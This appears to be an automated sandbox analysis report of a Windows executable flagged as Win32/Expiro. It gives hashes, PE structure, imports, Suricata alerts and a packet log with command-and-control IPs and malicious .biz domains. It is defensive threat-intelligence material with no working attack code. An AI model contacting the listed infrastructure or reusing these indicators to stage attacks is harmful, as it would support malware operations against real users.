SHA-256:	218F6444742E74374A4049E6541206C9BB85400BDFF5AFA53E8AE4BA2B6CC4E0
SHA-512:	320385FB6C0EB60525CB2C00B6A2D1770E76F1203DE8C8090315ACBE445256100B168168BB26F4E5A2D0176D7E2662227A6DB323C4B600BCD6A1A0C39F49CDEB
Malicious:	false
Preview:	1...Q..?..D....OR.x. .n)P..(.0(...\{T.#BH5..]K..\H.......P./.}nO>.x..^f.T...4...?..%.....K.1.L8c....`.F, .'....FU.Ii..lz..8....r.CL......r.3..n..l......=.<.....o.Z.d..0.....)...(.]x........s.`.j..o..4q..s.J.......B.bdK$3.`Gb]K.hd..C.d....SgRH..K.a..\|1I#C.....z...O..~<$.......H.........g...)...~..]...Y..h....q..ocU.(.se........".(D..../e;..p...y.mG..k j].iGTk.i5..[...[L....a..v_...+!..j.....z.NB....8&..xs..0?)....\|~f...{r....,..Na.X...d....na=.nP.?......X.].!.........VSW..1.......1...v.Yr.&^n.....$5...jl\.F./....o.TW."x..K:#.&..#G..e.^..#.-.8.Z....l...W.P....Xm..............".....S.....t.....^....J......~.B0.!s.-;.b.%..CB^...b..e.lA...Cx.nz7....0>.?..>......q..,....B.......,...^.y^#=..0..vSu...Z......j...6k..=..n..Jdd).......M[..mMF....Q.A"=v..........n....X.T;...3..m.].....:.L.R..b./.s?.`B...?.8B...44....../Q.ZW..u.(+ ..g.>.I..A.)iS.OS..N.+...KR..+!....X/..8b..V,T..I..\|.f.H...0N.p)..~`./.d.t=...ry>t(...&x.>v.kvy.....bH.v..z..^...+....7.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.52193281223966
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BzK8rQh2O3.exe
File size:	1'801'216 bytes
MD5:	de74305f29857f83bc99d71524a8842b
SHA1:	dd587bd360b681b2ec73bb7bcfc871f8fe981ae0
SHA256:	03428fe5c6161e6f512514d5f1827baa24617611fd068d98e0a8be94fc8030bc
SHA512:	2b520fa8669c8b212608f9d09d22329e8bcdfe890aca3e047122e552afdc18f32c1032f4ea6c0e67d4e6515c35278d40afff41639159ec738766c3eb846e28ab
SSDEEP:	49152:pW0c++OCvkGs9Fal24JLo3jIJxDYwgFIDRRAubt5M:4B3vkJ9khPvoUf
TLSH:	0185E02273CDC361CB669173BF6AB7016E7B7C610630B85B2F940D7DA960172262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6750E5B2 [Wed Dec 4 23:28:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F3CD4B33E2Ah
jmp 00007F3CD4B26BF4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F3CD4B26D7Ah
cmp edi, eax
jc 00007F3CD4B270DEh
bt dword ptr [004C31FCh], 01h
jnc 00007F3CD4B26D79h
rep movsb
jmp 00007F3CD4B2708Ch
cmp ecx, 00000080h
jc 00007F3CD4B26F44h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F3CD4B26D80h
bt dword ptr [004BE324h], 01h
jc 00007F3CD4B27250h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F3CD4B26F1Dh
test edi, 00000003h
jne 00007F3CD4B26F2Eh
test esi, 00000003h
jne 00007F3CD4B26F0Dh
bt edi, 02h
jnc 00007F3CD4B26D7Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F3CD4B26D83h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F3CD4B26DD5h
bt esi, 03h
jnc 00007F3CD4B26E28h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x6145c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	fa73b15dfd2617ec81babd6c86443ff5	False	0.5728679102422908	data	6.676132368411128	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x6145c	0x61600	48d05d556b9aab113670c8e9062582f8	False	0.9320919247432606	data	7.904774381562474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x129000	0x96000	0x95000	374b49f3fe0882fc2ec5d0f652373c4c	False	0.9757530673238255	data	7.938057904352507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x58723	data			1.0003340004140502
RT_GROUP_ICON	0x127edc	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x127f54	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x127f68	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x127f7c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x127f90	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x12806c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:49:57.902719+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.4	49730	54.244.188.177	80	TCP
2025-01-11T02:49:57.909523+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.4	49730	TCP
2025-01-11T02:49:57.909523+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.4	49730	TCP
2025-01-11T02:50:03.763330+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.4	49736	TCP
2025-01-11T02:50:03.763330+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.4	49736	TCP
2025-01-11T02:50:03.847049+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.4	53349	1.1.1.1	53	UDP
2025-01-11T02:50:06.393768+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.4	65109	1.1.1.1	53	UDP
2025-01-11T02:50:45.124526+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.4	49755	TCP
2025-01-11T02:50:45.124526+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.4	49755	TCP
2025-01-11T02:50:48.867179+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.246.200.160	80	192.168.2.4	49759	TCP
2025-01-11T02:50:48.867179+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.246.200.160	80	192.168.2.4	49759	TCP
2025-01-11T02:50:49.525304+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.227.7.138	80	192.168.2.4	49760	TCP
2025-01-11T02:50:49.525304+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.227.7.138	80	192.168.2.4	49760	TCP
2025-01-11T02:50:52.151278+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.4	49764	TCP
2025-01-11T02:50:52.151278+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.4	49764	TCP
2025-01-11T02:50:55.203379+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.4	49791	TCP
2025-01-11T02:50:55.203379+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	35.164.78.200	80	192.168.2.4	49791	TCP
2025-01-11T02:50:56.180580+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.4	49800	TCP
2025-01-11T02:50:56.180580+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.4	49800	TCP
2025-01-11T02:51:00.242871+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.246.231.120	80	192.168.2.4	49825	TCP
2025-01-11T02:51:00.242871+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.246.231.120	80	192.168.2.4	49825	TCP
2025-01-11T02:51:01.113608+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.4	49830	54.244.188.177	80	TCP
2025-01-11T02:51:13.607166+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.4	49915	TCP
2025-01-11T02:51:13.607166+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.4	49915	TCP
2025-01-11T02:51:19.427594+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.254.94.185	80	192.168.2.4	49961	TCP
2025-01-11T02:51:19.427594+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.254.94.185	80	192.168.2.4	49961	TCP
2025-01-11T02:51:58.092153+0100	2051651	ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)	1	192.168.2.4	57618	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:49:57.182037115 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.187077999 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:57.187148094 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.239729881 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.239775896 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.244692087 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:57.244725943 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:57.902586937 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:57.902637959 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:57.902719021 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.904740095 CET	49730	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:57.909523010 CET	80	49730	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:58.233901024 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:58.238821030 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:58.238920927 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:58.246318102 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:58.246344090 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:58.251183987 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:58.251198053 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:59.641352892 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:59.641501904 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:59.641537905 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:59.641566038 CET	49731	80	192.168.2.4	18.141.10.107
Jan 11, 2025 02:49:59.646327019 CET	80	49731	18.141.10.107	192.168.2.4
Jan 11, 2025 02:49:59.652374029 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.658303976 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:59.658397913 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.658651114 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.658675909 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.664443016 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:59.664453983 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:59.666965961 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.672786951 CET	80	49733	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:59.672883987 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.673257113 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.673310041 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:49:59.677974939 CET	80	49733	54.244.188.177	192.168.2.4
Jan 11, 2025 02:49:59.678035021 CET	80	49733	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.372627020 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.372940063 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.373017073 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:00.373830080 CET	49732	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:00.378884077 CET	80	49732	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.391931057 CET	80	49733	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.392021894 CET	80	49733	54.244.188.177	192.168.2.4
Jan 11, 2025 02:50:00.392087936 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:00.393910885 CET	49733	80	192.168.2.4	54.244.188.177
Jan 11, 2025 02:50:00.437582970 CET	49734	80	192.168.2.4	18.141.10.107
